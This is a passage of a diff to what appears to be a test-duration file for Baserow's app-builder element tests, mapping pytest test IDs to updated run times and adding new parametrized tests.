"tests/baserow/contrib/builder/elements/test_element_service.py::test_delete_element": 0.10952216797159053, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_delete_element_permission_denied": 0.3145204169850331, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_duplicate_element": 0.10903508399496786, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_duplicate_element_permission_denied": 0.3050967490125913, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_get_builder_elements": 0.326846249983646, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_get_element": 0.10219466697890311, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_get_element_does_not_exist": 0.08943941700272262, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_get_element_permission_denied": 0.09965762600768358, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_get_elements": 0.3284287489950657, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_get_unique_orders_before_element_triggering_full_page_order_reset": 0.4075127920077648, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_move_element": 0.31795554197742604, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_move_element_not_same_page": 0.3243368739786092, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_move_element_permission_denied": 0.316115750989411, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_move_element_trigger_order_recalculated": 0.32942658502724953, "tests/baserow/contrib/builder/elements/test_element_service.py::test_move_element_trigger_order_recalculed": 0.5431020420001005, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_recalculate_full_order": 0.40183999900091294, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_update_element": 0.14944345799995062, - "tests/baserow/contrib/builder/elements/test_element_service.py::test_update_element_permission_denied": 0.3355093340005624, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_button_element_import_export_formula": 0.8010692500001824, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_checkbox_element_import_export_formula": 0.8513491680005245, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_checkbox_text_element_is_valid": 0.011307292000310554, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_choice_element_import_export": 0.5750149999994392, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_choice_element_import_export_formula": 0.8228647919995637, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_choice_element_import_old_format": 0.14281287500125472, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_choice_element_import_serialized": 0.284042249999402, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_choice_element_is_valid": 0.1603000000004613, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_choice_element_is_valid_formula_context": 0.20063578999997844, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_choice_element_is_valid_formula_data_source": 0.17925920699963172, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_recalculate_full_order": 0.2474770420230925, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_update_element": 0.10977837402606383, + "tests/baserow/contrib/builder/elements/test_element_service.py::test_update_element_permission_denied": 0.328315292019397, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_button_element_import_export_formula": 0.36985924901091494, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_checkbox_element_import_export_formula": 0.38149550001253374, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_checkbox_text_element_is_valid": 0.019177667010808364, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_choice_element_import_export": 0.30770320797455497, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_choice_element_import_export_formula": 0.41675899998517707, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_choice_element_import_old_format": 0.10395266700652428, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_choice_element_import_serialized": 0.17470091601717286, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_choice_element_integer_option_values": 0.16735766601050273, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_choice_element_is_valid": 0.12631845803116448, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_choice_element_is_valid_formula_context": 0.16210195698658936, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_choice_element_is_valid_formula_data_source": 0.17204695800319314, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_choice_element_validation_none_vs_empty[choices0-expected_choices0-invalid_choices0]": 0.11414725001668558, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_choice_element_validation_none_vs_empty[choices1-expected_choices1-invalid_choices1]": 0.1087999590090476, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_choice_element_validation_none_vs_empty[choices2-expected_choices2-invalid_choices2]": 0.1047690830018837, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_choice_element_validation_none_vs_empty[choices3-expected_choices3-invalid_choices3]": 0.10458579202531837, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_collection_element_type_after_update[collection_element_type0]": 0.09963212499860674, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_collection_element_type_after_update[collection_element_type1]": 0.09977062497637235, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_collection_element_type_after_update[collection_element_type2]": 0.10083191702142358, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_collection_element_type_prepare_value_for_db[collection_element_type0]": 0.17582741702790372, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_collection_element_type_prepare_value_for_db[collection_element_type1]": 0.1668847490218468, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_collection_element_type_prepare_value_for_db[collection_element_type2]": 0.18222004099516198, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_collection_element_type_publicly_searchable_sortable_filterable[collection_element_type0]": 0.014015167020261288, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_collection_element_type_publicly_searchable_sortable_filterable[collection_element_type1]": 0.013625999010400847, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_collection_element_type_publicly_searchable_sortable_filterable[collection_element_type2]": 0.0136815830192063, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_column_container_child_types_allowed[auth_form]": 0.014037373970495537, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_column_container_child_types_allowed[button]": 0.013156875007553026, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_column_container_child_types_allowed[checkbox]": 0.01402575001702644, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_column_container_child_types_allowed[choice]": 0.013931458030128852, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_column_container_child_types_allowed[datetime_picker]": 0.014112333999946713, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_column_container_child_types_allowed[form_container]": 0.013791207980830222, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_column_container_child_types_allowed[heading]": 0.013820289983414114, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_column_container_child_types_allowed[iframe]": 0.013524043024517596, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_column_container_child_types_allowed[image]": 0.013485417031915858, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_column_container_child_types_allowed[input_file]": 0.014360998990014195, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_column_container_child_types_allowed[input_text]": 0.01359020799282007, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_column_container_child_types_allowed[link]": 0.013769541983492672, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_column_container_child_types_allowed[menu]": 0.01385020901216194, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_column_container_child_types_allowed[rating]": 0.013814164994983003, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_column_container_child_types_allowed[rating_input]": 0.014175332995364442, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_column_container_child_types_allowed[record_selector]": 0.013119166949763894, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_column_container_child_types_allowed[repeat]": 0.01362195800174959, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_column_container_child_types_allowed[simple_container]": 0.014328791003208607, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_column_container_child_types_allowed[table]": 0.013033208961132914, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_column_container_child_types_allowed[text]": 0.014239166979677975, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_datetime_picker_element_is_valid[False-ISO-False-24-None-None]": 0.014200582983903587, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_datetime_picker_element_is_valid[True-EU-False-24-2024-04-25T00:00:00.000Z-25/04/2024]": 0.01415895702666603, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_datetime_picker_element_is_valid[True-EU-True-12-2024-04-25T14:30:00.000Z-25/04/2024 02:30 PM]": 0.013390415988396853, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_datetime_picker_element_is_valid[True-ISO-False-24-2024-04-25T00:00:00.000Z-2024-04-25]": 0.013652416004333645, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_datetime_picker_element_is_valid[True-ISO-False-24-None-ValueError]": 0.013874668016796932, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_datetime_picker_element_is_valid[True-ISO-True-24-2024-04-25T14:30:00.000Z-2024-04-25 14:30]": 0.014092957047978416, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_datetime_picker_element_is_valid[True-US-False-24-2024-04-25T00:00:00.000Z-04/25/2024]": 0.013685749989235774, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_datetime_picker_element_is_valid[True-US-True-12-2024-04-25T14:30:00.000Z-04/25/2024 02:30 PM]": 0.013822000997606665, "tests/baserow/contrib/builder/elements/test_element_types.py::test_dropdown_element_import_serialized": 0.17088539409451187, "tests/baserow/contrib/builder/elements/test_element_types.py::test_dropdown_element_is_valid": 0.0970558279659599, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_element_type_import_element_priority": 0.00793549900117796, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[auth_form]": 0.2713357080001515, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[button]": 0.2748195419990225, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[checkbox]": 0.29610308300016186, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[choice]": 0.3028992079989621, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[column]": 0.2791432080002778, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_element_type_import_element_priority": 0.013918542972533032, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[auth_form]": 0.1701091660070233, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[button]": 0.16735070795402862, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[checkbox]": 0.16929129097843543, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[choice]": 0.17125862502143718, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[column]": 0.17092820798279718, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[datetime_picker]": 0.17105345803429373, "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[dropdown]": 0.1733587320195511, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[form_container]": 0.2816023329996824, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[heading]": 0.27225062500019703, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[iframe]": 0.2750593340006162, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[image]": 0.2729540830005135, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[input_text]": 0.27922320700145065, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[link]": 0.2745900020008776, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[footer]": 0.17055962499580346, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[form_container]": 0.16751979201217182, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[header]": 0.1649135000188835, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[heading]": 0.17165866697905585, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[iframe]": 0.1693949160107877, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[image]": 0.17165599900181405, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[input_file]": 0.16775883399532177, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[input_text]": 0.16637100098887458, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[link]": 0.1690185829938855, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[menu]": 0.17052870799670927, "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[paragraph]": 0.11178781000000981, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[repeat]": 0.3017926240008819, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[table]": 0.2764484170002106, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[text]": 0.27613800000017363, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_element_import_export_formula": 0.803733291001663, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_iframe_element_import_export_formula": 0.8419648750004853, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_image_element_import_export[None]": 0.9717685839987098, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_image_element_import_export[storage1]": 0.9856880420002199, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_image_element_import_export_formula": 0.803346706999946, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[auth_form]": 0.14509570799873472, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[button]": 0.16283358299915562, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[checkbox]": 0.14506145999985165, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[choice]": 0.15248129200062976, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[column]": 0.15602154199950746, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[rating]": 0.17074508403311484, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[rating_input]": 0.17016704098205082, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[record_selector]": 0.1671904580143746, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[repeat]": 0.16770083404844627, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[simple_container]": 0.16835404097218998, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[table]": 0.1721111250226386, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_export_element[text]": 0.1683120420202613, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_child_types_allowed[auth_form]": 0.014589958969736472, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_child_types_allowed[button]": 0.013895209005568177, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_child_types_allowed[checkbox]": 0.013708251004572958, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_child_types_allowed[choice]": 0.013915042014559731, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_child_types_allowed[column]": 0.014314750005723909, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_child_types_allowed[datetime_picker]": 0.014020166971022263, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_child_types_allowed[heading]": 0.01307729198015295, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_child_types_allowed[iframe]": 0.014547291037160903, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_child_types_allowed[image]": 0.013529165997169912, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_child_types_allowed[input_file]": 0.014047082018805668, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_child_types_allowed[input_text]": 0.013677333015948534, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_child_types_allowed[link]": 0.013022542028920725, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_child_types_allowed[menu]": 0.014132665994111449, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_child_types_allowed[rating]": 0.013057249976554886, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_child_types_allowed[rating_input]": 0.01304454100318253, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_child_types_allowed[record_selector]": 0.014669167983811349, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_child_types_allowed[repeat]": 0.014463792002061382, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_child_types_allowed[simple_container]": 0.013613165996503085, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_child_types_allowed[table]": 0.013748709025094286, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_child_types_allowed[text]": 0.012635209015570581, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_form_container_element_import_export_formula": 0.36067958298372105, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_iframe_element_import_export_formula": 0.3771808330202475, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_image_element_import_export[None]": 0.4577605000231415, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_image_element_import_export[storage1]": 0.4604714589950163, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_image_element_import_export_formula": 0.38075745801324956, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[auth_form]": 0.09733799999230541, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[button]": 0.10195670800749213, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[checkbox]": 0.097578376007732, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[choice]": 0.09733845898881555, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[column]": 0.09803195801214315, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[datetime_picker]": 0.09923020700807683, "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[dropdown]": 0.09293183300178498, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[form_container]": 0.15331549999882554, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[heading]": 0.14258012500067707, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[iframe]": 0.16560524999931658, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[image]": 0.16003891699983797, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[input_text]": 0.15595324999958393, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[link]": 0.1621697079990554, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[footer]": 0.10244808299466968, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[form_container]": 0.096380417002365, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[header]": 0.09872183398692869, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[heading]": 0.09725670699845068, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[iframe]": 0.09810929204104468, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[image]": 0.10058858297998086, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[input_file]": 0.09817358202417381, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[input_text]": 0.09823629198945127, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[link]": 0.10005599999567494, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[menu]": 0.09768004302168265, "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[paragraph]": 0.06435109199992439, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[repeat]": 0.15983558200059633, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[table]": 0.16359291699973255, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[text]": 0.144109834000119, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_input_text_element_import_export_formula": 0.807298835000438, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[rating]": 0.09817312500672415, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[rating_input]": 0.0982371249992866, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[record_selector]": 0.10574479200295173, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[repeat]": 0.10587662400212139, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[simple_container]": 0.09569983402616344, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[table]": 0.11604187500779517, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_import_element[text]": 0.10005879102391191, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_input_text_element_import_export_formula": 0.3879333769727964, "tests/baserow/contrib/builder/elements/test_element_types.py::test_input_text_element_is_valid": 0.011992791000011493, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_link_collection_field_import_export_formula": 0.6828735839999354, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_link_element_import_export_formula": 0.8029589169991596, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_link_element_path_parameter_does_not_exist": 0.14593833500020992, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_link_element_path_parameter_does_not_exist_new_page": 0.1457540009987497, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_page_with_element_using_form_data_has_dependencies_import_first": 0.5961863749998884, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_sanitize_element_roles_fixes_default_user_role[user_source_ids0-initial_roles0-valid_roles0-cleaned_roles0]": 0.008689915999639197, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_sanitize_element_roles_fixes_default_user_role[user_source_ids1-initial_roles1-valid_roles1-cleaned_roles1]": 0.008248082999671169, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_sanitize_element_roles_fixes_default_user_role[user_source_ids2-initial_roles2-valid_roles2-cleaned_roles2]": 0.008471208000628394, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_sanitize_element_roles_fixes_default_user_role[user_source_ids3-initial_roles3-valid_roles3-cleaned_roles3]": 0.008743916999264911, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_sanitize_element_roles_removes_invalid_roles[initial_roles0-valid_roles0-cleaned_roles0]": 0.008547125999939453, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_sanitize_element_roles_removes_invalid_roles[initial_roles1-valid_roles1-cleaned_roles1]": 0.00890287500078557, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_sanitize_element_roles_removes_invalid_roles[initial_roles2-valid_roles2-cleaned_roles2]": 0.008194166000066616, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_sanitize_element_roles_removes_invalid_roles[initial_roles3-valid_roles3-cleaned_roles3]": 0.008375375000468921, - "tests/baserow/contrib/builder/elements/test_element_types.py::test_text_element_import_export_formula": 0.805255168000258, - "tests/baserow/contrib/builder/elements/test_element_usage_types.py::test_image_element_workspace_storage_usage_item": 0.4243526660002317, - "tests/baserow/contrib/builder/elements/test_element_usage_types.py::test_image_element_workspace_storage_usage_item_duplicate_ids": 0.5620035410001947, - "tests/baserow/contrib/builder/elements/test_element_usage_types.py::test_image_element_workspace_storage_usage_item_trashed_builder": 0.41730821000055585, - "tests/baserow/contrib/builder/elements/test_element_usage_types.py::test_image_element_workspace_storage_usage_item_trashed_page": 0.43112641800144047, - "tests/baserow/contrib/builder/elements/test_link_collection_field_type.py::test_import_export_link_collection_field_type": 0.4699729579997438, - "tests/baserow/contrib/builder/elements/test_link_collection_field_type.py::test_registering_link_collection_field_type_connects_to_page_deleted_signal": 0.007845750000342377, - "tests/baserow/contrib/builder/elements/test_link_collection_field_type.py::test_unregistering_link_collection_field_type_disconnects_from_page_deleted_signal": 0.00781845900019107, - "tests/baserow/contrib/builder/elements/test_repeat_element_type.py::test_repeat_element_import_child_with_formula_with_current_record": 0.18311508400074672, - "tests/baserow/contrib/builder/elements/test_table_element_type.py::test_create_table_element_with_fields": 0.3010984999991706, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_input_text_element_is_valid[False-any--]": 0.015453166008228436, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_input_text_element_is_valid[False-email--]": 0.016027583013055846, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_input_text_element_is_valid[False-integer--]": 0.015770416997838765, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_input_text_element_is_valid[True-any--ValueError]": 0.0155139580310788, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_input_text_element_is_valid[True-any-42-42_0]": 0.015254498983267695, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_input_text_element_is_valid[True-any-42-42_1]": 0.01580483396537602, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_input_text_element_is_valid[True-any-horse-horse]": 0.014942041016183794, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_input_text_element_is_valid[True-email-foo@bar.com-foo@bar.com]": 0.015191416023299098, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_input_text_element_is_valid[True-email-foobar.com-ValueError]": 0.01630504202330485, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_input_text_element_is_valid[True-integer--ValueError]": 0.017738750990247354, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_input_text_element_is_valid[True-integer-4,2-TypeError]": 0.015757208020659164, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_input_text_element_is_valid[True-integer-4.2-4.2]": 0.015816748957149684, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_input_text_element_is_valid[True-integer-42-42_0]": 0.016156666970346123, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_input_text_element_is_valid[True-integer-42-42_1]": 0.01475466595729813, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_input_text_element_is_valid[True-integer-horse-TypeError]": 0.015425374964252114, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_link_collection_field_import_export_formula": 0.338755416974891, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_link_element_import_export_formula": 0.41869154101004824, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_link_element_path_parameter_does_not_exist": 0.10044229097547941, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_link_element_path_parameter_does_not_exist_new_page": 0.1005023340403568, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_page_with_element_using_form_data_has_dependencies_import_first": 0.3599321250221692, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_rating_input_element_type_is_valid_edge_cases": 0.014619248977396637, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_rating_input_element_type_is_valid_with_out_of_range_values": 0.015448874037247151, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_rating_input_element_type_is_valid_with_required_element": 0.014332708989968523, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_rating_input_element_type_is_valid_with_valid_value": 0.014920583023922518, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_record_element_is_valid": 0.4749148319824599, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_repeat_element_import_export": 0.7995663739857264, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_sanitize_element_roles_fixes_default_user_role[user_source_ids0-initial_roles0-valid_roles0-cleaned_roles0]": 0.015805583010660484, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_sanitize_element_roles_fixes_default_user_role[user_source_ids1-initial_roles1-valid_roles1-cleaned_roles1]": 0.015578708029352129, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_sanitize_element_roles_fixes_default_user_role[user_source_ids2-initial_roles2-valid_roles2-cleaned_roles2]": 0.01534204202471301, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_sanitize_element_roles_fixes_default_user_role[user_source_ids3-initial_roles3-valid_roles3-cleaned_roles3]": 0.01576466704136692, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_sanitize_element_roles_fixes_default_user_role[user_source_ids4-initial_roles4-valid_roles4-cleaned_roles4]": 0.015563998982543126, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_sanitize_element_roles_removes_invalid_roles[initial_roles0-valid_roles0-cleaned_roles0]": 0.019486957986373454, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_sanitize_element_roles_removes_invalid_roles[initial_roles1-valid_roles1-cleaned_roles1]": 0.014828292012680322, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_sanitize_element_roles_removes_invalid_roles[initial_roles2-valid_roles2-cleaned_roles2]": 0.01688616699539125, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_sanitize_element_roles_removes_invalid_roles[initial_roles3-valid_roles3-cleaned_roles3]": 0.016638041037367657, + "tests/baserow/contrib/builder/elements/test_element_types.py::test_text_element_import_export_formula": 0.3640697920054663, + "tests/baserow/contrib/builder/elements/test_element_usage_types.py::test_image_element_workspace_storage_usage_item": 0.25821041699964553, + "tests/baserow/contrib/builder/elements/test_element_usage_types.py::test_image_element_workspace_storage_usage_item_duplicate_ids": 0.318141457013553, + "tests/baserow/contrib/builder/elements/test_element_usage_types.py::test_image_element_workspace_storage_usage_item_trashed_builder": 0.2500655000039842, + "tests/baserow/contrib/builder/elements/test_element_usage_types.py::test_image_element_workspace_storage_usage_item_trashed_page": 0.2535054579784628, + "tests/baserow/contrib/builder/elements/test_header_footer_element_type.py::test_header_footer_child_types_allowed": 0.013892457995098084, + "tests/baserow/contrib/builder/elements/test_header_footer_element_type.py::test_header_footer_import_with_id_mapping[footer]": 0.2602621670230292, + "tests/baserow/contrib/builder/elements/test_header_footer_element_type.py::test_header_footer_import_with_id_mapping[header]": 0.25257895901449956, + "tests/baserow/contrib/builder/elements/test_header_footer_element_type.py::test_header_footer_prepare_value_for_db[footer]": 0.19414845801657066, + "tests/baserow/contrib/builder/elements/test_header_footer_element_type.py::test_header_footer_prepare_value_for_db[header]": 0.1921537920134142, + 